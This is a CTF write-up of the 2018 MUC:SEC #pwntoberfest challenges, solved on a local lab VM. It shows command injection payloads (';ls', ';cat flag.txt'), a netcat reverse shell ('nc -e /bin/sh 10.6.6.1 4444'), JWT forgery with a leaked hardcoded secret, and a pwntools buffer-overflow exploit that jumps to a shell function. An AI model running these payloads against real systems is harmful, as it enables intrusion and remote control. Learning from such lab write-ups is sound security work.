This is a write-up of all challenges of the MUC:SEC #pwntoberfest.
It was a rather small and very beginner friendly CTF that was initially held locally in Munich.
We participated, couldn’t get all flags on the evening but later managed to get all flags.
The CTF was divided into 2 phases, each phase had 3 flags.
Every flag was a number for a physical combination lock.
The challenges were running in a VM on our own laptops, which was great since with that we were able to continue them after the on-site CTF.
Phase 1 – flag 1
Scanning all TCP ports of the machine we find an usual open port: “53815”
Connecting to it and providing any input revealed the first flag:
$ nc 10.6.6.66 53815 ***Welcome to the friendly flag service*** ***For authorized users only!*** Phase 1 flag. The first number in the combination is 7.
Phase 1 – flag 2
This one took us a while to figure out.
Running “dirb” against “http://10.6.6.66:3000/api” (not the added “/api”!) we got a so far unknown endpoint: /api/secret
Simply accessing it revealed this flag:
$ curl http://10.6.6.66:3000/api/secret {"user-flag":"Phase 1. Second number in the lock combination is: 6."}
Phase 1 – flag 3
On port 4200 we discovered a web application:
After some trial and error we notice that there is an API that can be used.
And the API has a test interface:
This API Tester form is vulnerable to command injection.
By passing a valid API URL and afterwards a “;” we can inject any command.
We first got all the files in the folder by injecting “;ls” and then got the content of the flag via “;cat flag.txt”:
Phase 2 – flag 1
With the previous vulnerability we created a simply reverse shell by injecting “;nc -e /bin/sh 10.6.6.1 4444” into the form and starting a local listener via “nc -v -l 4444”.
While exploring the machine we found a running MySQL server.
Trying to connect to it only gave us this output:
yolo@pwntoberfest2018:/opt/pwnterest$ mysql mysql TERM environment variable not set. ################################################################################## ############## ##################### ############## ##################### ############## ##################### ############## It's a Pwntoberfest curse! ##################### ############## ##################### ############## Silly, yolo. ##################### ############## ##################### ############## This client has been deativated ##################### ############## for security purposes! ##################### ############## ##################### ############## No flag for you! ##################### ############## ##################### ############## #####################
After a while we figured out that the “/usr/bin/mysql” binary has been replaced with a shell script which displays this warning.
We’ve then uploaded our own mysql client binary and got the flag from the table:
yolo@pwntoberfest2018:/opt/pwnterest$ ./mysql -u root ./mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 5 Server version: 5.7.23-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> use tooManySecrets; use tooManySecrets; Database changed mysql> show tables ; show tables ; +--------------------------+ | Tables_in_tooManySecrets | +--------------------------+ | shhhh | +--------------------------+ 1 row in set (0.01 sec) mysql> select * from shhhh; select * from shhhh; +----------------------------------------------------------+ | flag | +----------------------------------------------------------+ | Phase 2 flag. The first number in the combination is: 9. | +----------------------------------------------------------+ 1 row in set (0.00 sec)
Phase 2 – flag 2
When logging in to the web interface from Phase 1 – flag 3, a new menu entry appears: “AdminFlag”
Navigating to it shows only that we are not authorized:
But it also contains to important hints.
First: The admin user has the email address “admin@pwnterest.yolo”.
And second: It shows contents extracted from the JWT used for authentication.
We aren’t sure if we’ve done this challenge correctly, our goal was to forge a token for the admin user. Probably brute forcing the secret would have worked as well.
We’ve used the previous command injection vulnerability again to get a reverse shell to the system by injecting “;nc -e /bin/sh 10.6.6.1 4444” into the form.
In the file “backend/routes/user.js” we found the function which is used to sign the JWT including the secret:
const token = jwt.sign( { email: req.body.email, iat: 2147483647 }, 'flag' );
With this we can now simply forge our own JWT including the admin email address:
Now using this token to resend the request to “/adminflag” we now get this response:
Note that the flag says it’s the 3rd number of the combination. The next flag also says this, there was a typo in one of them. Ranked on difficulty we guess that this is the 2nd number.
Phase 2 – flag 3
The last flag was a binary challenge on which we spent most time.
During the initial recon we found a TODO list at “http://10.6.6.66/todo/”, this included an entry about “Develop beeroverflow”.
It also included a link to the binary. We found that the binary is running on port 1337 on the VM:
Loading the binary in Hopper we find that the interesting function is takeOrder():
int takeOrder() { var_C = 0x1337; gets(&var_4C); eax = strstr(&var_4C, 0x804a008); esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10; if (eax == 0x0) { puts("\nNo beer, no hack!"); eax = exit(0x0); } else { if (var_C != 0x1337) { puts("\nAttack detected, no beer for you!"); eax = exit(0x0); } } return eax; }
In the binary there is also the function debugShell() which is not called:
int debugShell() { puts("\nYou found the secret beer tap. Take as you wish!"); fflush(*__TMC_END__); eax = system("/bin/sh"); return eax; }
In takeOrder() there is a simple buffer overflow, the input we provide is not size restricted.
Our input is first compared if it contains the string “beer”.
If yes, then it will be checked if var_C != 0x1337, this is obviously always false, since var_C gets set to 0x1337 at the beginning.
However when we overwrite data in memory we need to ensure to not break this if statement.
We want to redirect the program flow so that the debugShell() function is executed.
We try to do this by overwriting EBP with the address of debugShell() so when takeOrder() finishes, the program does not return to main() but rather runs debugShell().
The hardest part here is to figure out the offsets and padding since we were very inexperienced in that.
But after a while with msf-pattern_create as well as trail and error while being attached with gdb we got it. This led to this exploit:
from pwn import * context.log_level = 'DEBUG' # start with "beer" to pass first check, add padding payload = 'beerAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5AAAAAAAAAAAA' # write value 0x1337 to correct position to pass second check payload += "\x37" + "\x13" + "\x00" + "\x00" # add more padding payload += 'AAAAAAAAAAAA' # add 0x0804933a (address of debugShell()) payload += "\x3a" + "\x93" + "\x04" + "\x08" r = remote("10.6.6.66", 1337) r.recvuntil('Please place your order:') r.sendline(payload) r.interactive()
And finally running the exploit we can get the flag from “/opt/beeroverflow/flag.txt”:
Conclusion
This was a great CTF for us, in the past we mostly focused on web challenges since binary challenges at CTFs were not exactly beginner friendly.
This helped us tremendously to start our journey to more advanced binary or pwn challenges.
We actually managed to be the first ones to solve all challenges and got some goodies from the MUC:SEC organizers:
We were the first to solve all #pwntoberfest / @muc_sec CTF challenges o/ pic.twitter.com/PMH1lJhD4W
— Roman (@faker_) October 6, 2018
A big thanks to the organizers! It really was a great CTF!